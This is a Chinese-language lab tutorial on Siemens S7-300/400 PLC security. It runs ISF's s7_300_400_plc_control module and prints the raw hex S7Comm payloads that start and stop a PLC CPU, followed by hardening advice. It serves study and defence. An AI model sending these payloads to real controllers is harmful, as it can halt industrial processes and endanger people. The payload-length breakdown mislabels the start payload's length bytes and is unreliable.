从SIEMENS PLC S7-300 启停实验中学习PLC安全
字数 1012 2025-08-22 12:23:13
西门子PLC S7-300安全实验教学文档
一、前言
西门子(Siemens)可编程逻辑控制器(PLC)产品线在中国广泛应用,特别是S7系列:
- S7-200:微型PLC
- S7-300:小型PLC
- S7-400:中高性能PLC
通信协议
- 早期协议:S7Comm协议(用于S7-200/300/400)
- 无加密
- 使用102端口
- 基于TPKT和ISO8073协议
- 新协议:S7CommPlus(用于S7-1500系列)
- 增加会话ID机制
- 安全性更高
二、实验环境搭建
1. 仿真环境搭建
- 下载Snap7工具包:
https://sourceforge.net/projects/snap7/files/1.4.2/ - 解压后进入目录:
snap7-full-1.4.2/snap7-full-1.4.2/rich-demos/x86_64-win64/bin - 运行:
serverdemo.exe(服务端)clientdemo.exe(客户端)
2. 攻击环境搭建(Kali Linux)
- 克隆ISF框架:
git clone https://github.com/dark-lbp/isf - 安装Python2的nmap包:
wget https://launchpad.net/ubuntu/+source/python-nmap/0.1.4-1 tar xvzf python-nmap_0.1.4.orig.tar.gz cd python-nmap-0.1.4 python2 setup.py install - 运行ISF:
cd isf sudo su python2 isf.py
三、漏洞复现步骤
- 在ISF中选择攻击模块:
use exploits/plcs/siemens/s7_300_400_plc_control - 设置目标:
set target 192.168.2.2 - 执行攻击:
run
四、漏洞分析
1. 攻击脚本分析
脚本位置:icssploit/modules/exploits/plcs/siemens/s7_300_400_plc_control.py
关键Payload
setup_communication_payload = '0300001902f08032010000020000080000f0000002000201e0'.decode('hex')
cpu_start_payload = "0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d".decode('hex')
cpu_stop_payload = "0300002102f0803201000006000010000029000000000009505f50524f4752414d".decode('hex')
核心方法
-
create_connect:
- 建立与PLC的连接
- 发送初始化Payload
- 接收PLC响应
-
exploit:
- 创建socket连接
- 根据command参数发送启动/停止PLC的Payload
-
run:
- 检查目标状态
- 执行攻击
- 验证攻击结果
-
_check_alive:
- 检查目标是否在线
2. Payload结构分析
以cpu_start_payload为例:
0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d
解码后:
\x03:起始字节\x00\x00\x19:数据包长度\x02\xf0\x80:S7协议标识- 其余部分与S7 Communication协议一致
五、安全建议
-
网络隔离:
- 将PLC置于独立网络
- 限制102端口的访问
-
协议升级:
- 使用S7CommPlus协议(S7-1500系列)
- 启用加密通信
-
访问控制:
- 实施严格的ACL
- 启用用户认证机制
-
监控措施:
- 监控异常通信流量
- 部署工控安全审计系统
六、总结
本实验展示了西门子S7-300/400 PLC存在的安全风险,通过分析攻击脚本和Payload结构,可以深入了解工控系统的脆弱性。新一代PLC(如S7-1500)已引入更多安全机制,但旧系统仍需特别防护。